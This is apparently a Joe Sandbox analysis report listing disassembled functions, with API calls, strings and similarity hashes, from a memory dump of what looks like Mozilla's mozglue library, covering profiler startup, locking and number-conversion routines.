Opcode ID: 6cede0d067ca66cdaf12c11160ec345cfe78d4c5fd866fab44afe1b4d1169725
Instruction ID: f2cb73f48ae1b8a55255b3f5ae3678555fa1e34fe8117c697210fa1f91202435
Opcode Fuzzy Hash: 6cede0d067ca66cdaf12c11160ec345cfe78d4c5fd866fab44afe1b4d1169725
Instruction Fuzzy Hash: D871F370A007069FDB04CF68D5946AABBB1FF89314F04466DD8154BB41DB70EAD9CBE2

Function 6CACB0C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CACB0A6,6CACB0A6,?,6CACAF67,?,00000010,?,6CACAF67,?,00000010,00000000,?,?,6CACAB1F), ref: 6CACB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CACB0A6,6CACB0A6,?,6CACAF67,?,00000010,?,6CACAF67,?,00000010,00000000,?), ref: 6CACB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CACB0A6,6CACB0A6,?,6CACAF67,?,00000010,?,6CACAF67,?,00000010), ref: 6CACB25F

Strings

map/set<T> too long, xrefs: 6CACB1FA
D($/, xrefs: 6CACB21B

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long$D($/
API String ID: 1922495194-749434059
Opcode ID: 190350b34c4bbc632e850415ccfb6fe5ceff63649316f6c3eeb8d7e731b36b1a
Instruction ID: fa0f1ac4e297ea5748932162b45c58f18bdd034f520558619017ae2f09fb749a
Opcode Fuzzy Hash: 190350b34c4bbc632e850415ccfb6fe5ceff63649316f6c3eeb8d7e731b36b1a
Instruction Fuzzy Hash: CF6169747042458FD701CF19D980A9ABBF1FF4A318F18C699D8595BB52C732EC85CBA2

Function 6CA8D468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

EnterCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D4F2
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D50B

Part of subcall function 6CA6CFE0: EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA6CFF6
Part of subcall function 6CA6CFE0: LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA6D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D52E
EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA8D690
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D751

Strings

D($/, xrefs: 6CA8D4E2
MOZ_CRASH(), xrefs: 6CA8D4BB

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()$D($/
API String ID: 3805649505-152137716
Opcode ID: ab6e519f9ce817bb6ec7a7a8794f3f836368a02cf251640f7ce2d7eeef98ca36
Instruction ID: 4aeba1f04e2be01b56aff63adb165cfc3ab8ddaafad4b776d6cc111683847dd9
Opcode Fuzzy Hash: ab6e519f9ce817bb6ec7a7a8794f3f836368a02cf251640f7ce2d7eeef98ca36
Instruction Fuzzy Hash: 3F510271A057068FD768CF29C09425AB7F1EB8D304F188A2FD59AC7B84D770E880CB91

Function 6CAB4630 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAB4721

Strings

profiler-paused, xrefs: 6CAB46E4
., xrefs: 6CAB476A
-%llu, xrefs: 6CAB4733
D($/, xrefs: 6CAB46EF

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused$D($/
API String ID: 3732870572-114902187
Opcode ID: bb4cd3ae953d296bc4c9672bbe3245a957b507855a73755d05cff86565333b3a
Instruction ID: ede1c6620ad6611b66456d380fde564b3606540e98d4086a7a38965e28c4fe49
Opcode Fuzzy Hash: bb4cd3ae953d296bc4c9672bbe3245a957b507855a73755d05cff86565333b3a
Instruction Fuzzy Hash: 72416671E087099BCB08DF78E85219EBBE9EF85344F14C62EE855A7B41EB309885C791

Function 6CAB46E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAB4721

Part of subcall function 6CA64410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CAA3EBD,00000017,?,00000000,?,6CAA3EBD,?,?,6CA642D2), ref: 6CA64444

Strings

profiler-paused, xrefs: 6CAB46E4
., xrefs: 6CAB476A
-%llu, xrefs: 6CAB4733
D($/, xrefs: 6CAB46EF

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused$D($/
API String ID: 680628322-114902187
Opcode ID: 78f436f7e8fb487f13c77b6f2a0ff291bde3c9de51888d8a4a0dcf88d2f5433c
Instruction ID: c3cc148ae8614318c0e1bfa853a6b47d70bb8516d566dec479017a23646d8b16
Opcode Fuzzy Hash: 78f436f7e8fb487f13c77b6f2a0ff291bde3c9de51888d8a4a0dcf88d2f5433c
Instruction Fuzzy Hash: 21312D71F043185BCB0CCF6DD89569E7BEADB89314F15853DE805ABB41E7749884CB90

Function 6CAC77D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CAC7829

Part of subcall function 6CA9CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CA631A7), ref: 6CA9CC45
Part of subcall function 6CA9CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CA631A7), ref: 6CA9CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAC789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAC78CF

Part of subcall function 6CA64DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA64E5A
Part of subcall function 6CA64DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA64E97

Part of subcall function 6CA64290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3EBD,6CAA3EBD,00000000), ref: 6CA642A9

Strings

D($/, xrefs: 6CAC77E0, 6CAC7894

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID: D($/
API String ID: 2525797420-324952136
Opcode ID: 2b6c8770ac2b0a8fdcd6439ee935148c0cf6ca287972d14a40b75d0fc47ab241
Instruction ID: f4de320bc6838ba645497125a12ec2efff1727cae854208cd59cf18ba6f18b15
Opcode Fuzzy Hash: 2b6c8770ac2b0a8fdcd6439ee935148c0cf6ca287972d14a40b75d0fc47ab241
Instruction Fuzzy Hash: 21417D71A047469BD300DF29D48056BFBF4FF8A254F604A2EE4A987640DB70E599CBD2

Function 6CABB410 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA64290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3EBD,6CAA3EBD,00000000), ref: 6CA642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CABB127), ref: 6CABB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CABB4E4

Strings

pid:, xrefs: 6CABB4DE
D($/, xrefs: 6CABB419

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:$D($/
API String ID: 1720406129-3827028730
Opcode ID: 5474cf01eccef55131400f60594bcaf417b5ffe511ca4b0e712ee91b53c4e07c
Instruction ID: 71f2105aac1d9be946b50839a5417ac19ec84555009f5e8e108f24b0c75140ff
Opcode Fuzzy Hash: 5474cf01eccef55131400f60594bcaf417b5ffe511ca4b0e712ee91b53c4e07c
Instruction Fuzzy Hash: 4131E831A012159FDB10DFA9E880AEEF779FF05318F580619D81677A41D731A8C9CBE1

Function 6CAA6470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAA82BC,?,?), ref: 6CAA649B

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA64A9

Part of subcall function 6CA9FA80: GetCurrentThreadId.KERNEL32 ref: 6CA9FA8D
Part of subcall function 6CA9FA80: AcquireSRWLockExclusive.KERNEL32(6CAEF448), ref: 6CA9FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA653F
free.MOZGLUE(?), ref: 6CAA655A

Strings

D($/, xrefs: 6CAA6482

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID: D($/
API String ID: 3596744550-324952136
Opcode ID: 4b933ec47fa225b866a68abdb73698c5d901b1be47a2eadcac934f0e0a13d188
Instruction ID: 185350884b4a9a65cb1b1a9b4345ca22267077901a7e4d5e92b17235fe8d8650
Opcode Fuzzy Hash: 4b933ec47fa225b866a68abdb73698c5d901b1be47a2eadcac934f0e0a13d188
Instruction Fuzzy Hash: B73170B5A043059FD744CF24D984A9ABBF4FF89314F00892EE85A97741DB30E959CF92

Function 6CAC74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAC7526
__Init_thread_footer.LIBCMT ref: 6CAC7566
__Init_thread_footer.LIBCMT ref: 6CAC7597

Strings

kernel32.dll, xrefs: 6CAC7557
UnmapViewOfFile2, xrefs: 6CAC7552

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: f422bddd6fa295fc69f51ea7050b2b61e2e81a84a248dd4c35c99ff57c4064b0
Instruction ID: 0d9c72b00c78a132b6138dad59060d0af2261b921ec16a792c048d1552ca505b
Opcode Fuzzy Hash: f422bddd6fa295fc69f51ea7050b2b61e2e81a84a248dd4c35c99ff57c4064b0
Instruction Fuzzy Hash: E5212831B016029BDB188BEEED05E5933B6EB4B324F04812DD906D7F40CB30A8C696E7

Function 6CAAE550 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAAE577
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAE584
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAAE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CAAE5A1, 6CAAE5CC, 6CAAE5FF, 6CAAE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAAE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAAE826, 6CAAE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAAE777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAAE722, 6CAAE750, 6CAAE7A2
D($/, xrefs: 6CAAE2FB, 6CAAE399, 6CAAE55C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$D($/
API String ID: 1483687287-1214312573
Opcode ID: 436a12078fc5bd459f591a52f2ba93d6d5cf879369b022176a809c14db6d9e4a
Instruction ID: 39e56dc4395e7a5dc1b7af374f53f301d17be4ec79144204ea7178f38c2e9254
Opcode Fuzzy Hash: 436a12078fc5bd459f591a52f2ba93d6d5cf879369b022176a809c14db6d9e4a
Instruction Fuzzy Hash: 33110431600355DFCB049F18E848B6ABBF4FBCD328F004A1CE84247640C770A886DBD5

Function 6CACA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEF770,-00000001,?,6CADE330,?,6CA8BDF7), ref: 6CACA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CA8BDF7), ref: 6CACA7C2
moz_xmalloc.MOZGLUE(00000018,?,6CA8BDF7), ref: 6CACA7E4
LeaveCriticalSection.KERNEL32(6CAEF770), ref: 6CACA80A

Strings

accelerator.dll, xrefs: 6CACA7BF

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 07dd506699d4bd18216879305d2c497463623cae1d1a1f02766fffd21b1fa2ba
Instruction ID: 1553b3d564401535ade9768cf71a1d5da7f16b0a8dc44131ee52232ce7a641c6
Opcode Fuzzy Hash: 07dd506699d4bd18216879305d2c497463623cae1d1a1f02766fffd21b1fa2ba
Instruction Fuzzy Hash: F30178B1B003059FDB488F9AE884C21B7B9FB8A315709806AE8098B741DB70AC44DBE1

Function 6CA6F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CA6EE51,?), ref: 6CA6F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CA6F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CA6F0DC
Could not find CoTaskMemFree, xrefs: 6CA6F0E3
ole32, xrefs: 6CA6F0AD

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4743e5651b8904c9a84131855616c5053658ada58fec12d4f131b4f05397e7b6
Instruction ID: 75e92955eb33c458ba1679b155e06f8fd00a2572e569214a38460bd4b345b9a5
Opcode Fuzzy Hash: 4743e5651b8904c9a84131855616c5053658ada58fec12d4f131b4f05397e7b6
Instruction Fuzzy Hash: 09E09A703453029FAF582B63BC19B2637B8AB1E209308C12DA612C1E01FA20D081A7E6

Function 6CAA0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA77204), ref: 6CAA0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CAA00A7
FreeLibrary.KERNEL32(?,6CA77204), ref: 6CAA00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CAA00A1
wintrust.dll, xrefs: 6CAA0083

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: e1a51878fbf702b9fd00a615a2221655827d1f97d43fcf290284c37989359e2b
Instruction ID: 11984f451a126c5074a5de4eee87c7a449079108ed9d6946d9a2324e42d11a6d
Opcode Fuzzy Hash: e1a51878fbf702b9fd00a615a2221655827d1f97d43fcf290284c37989359e2b
Instruction Fuzzy Hash: FBE01A706003429BDF886FA6AC0C7013AF8F70F344F40C119E911C2690D774C082BB95

Function 6CACC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CACC0E9), ref: 6CACC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CACC437
FreeLibrary.KERNEL32(?,6CACC0E9), ref: 6CACC44C

Strings

NtQueryVirtualMemory, xrefs: 6CACC431
ntdll.dll, xrefs: 6CACC413

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: a545005886c50601f194217c644905d6ab983c8191bdf447f5114c83b4f38b5b
Instruction ID: 681355c8d52693e310484356dc34e2cd4321f35174b5fd8b83c8d50aa4bebf02
Opcode Fuzzy Hash: a545005886c50601f194217c644905d6ab983c8191bdf447f5114c83b4f38b5b
Instruction Fuzzy Hash: 71E09A706013029BDF886B71AD0C7117AF8F74E208F04D21AAA04D1690DB74D442ABD5

Function 6CAC75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAC748B,?), ref: 6CAC75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAC75D7
FreeLibrary.KERNEL32(?,6CAC748B,?), ref: 6CAC75EC

Strings

RtlNtStatusToDosError, xrefs: 6CAC75D1
ntdll.dll, xrefs: 6CAC75B3

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: a5c77f3574adc8aa2fb26952ede19088593aa81c18c11772658f65f9e18b61fd
Instruction ID: 02f03e5616692837d0c628862061e62e4432ac13bc35b1c24dea768898ac494e
Opcode Fuzzy Hash: a5c77f3574adc8aa2fb26952ede19088593aa81c18c11772658f65f9e18b61fd
Instruction Fuzzy Hash: 01E09A71601307ABEB885BA2EC487057AF8EB0E254F14C129AD05E1650DB708583AF95

Function 6CAC7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAC7592), ref: 6CAC7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CAC7627
FreeLibrary.KERNEL32(?,6CAC7592), ref: 6CAC763C

Strings

ntdll.dll, xrefs: 6CAC7603
NtUnmapViewOfSection, xrefs: 6CAC7621

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a2481802e9a48c524f94abc94cab2f17c71385b2e5358f24c81903648ef371f7
Instruction ID: d677b13282dcaadc7faed45783a144539012a69a03dde2df1bc3a53744748aae
Opcode Fuzzy Hash: a2481802e9a48c524f94abc94cab2f17c71385b2e5358f24c81903648ef371f7
Instruction Fuzzy Hash: 9EE09AB16013039BEF885BAAAC487417AB8F75E359F04C119ED05D1A50EB708442ABD9

Function 6CACBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CACBE49), ref: 6CACBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CACBEDE
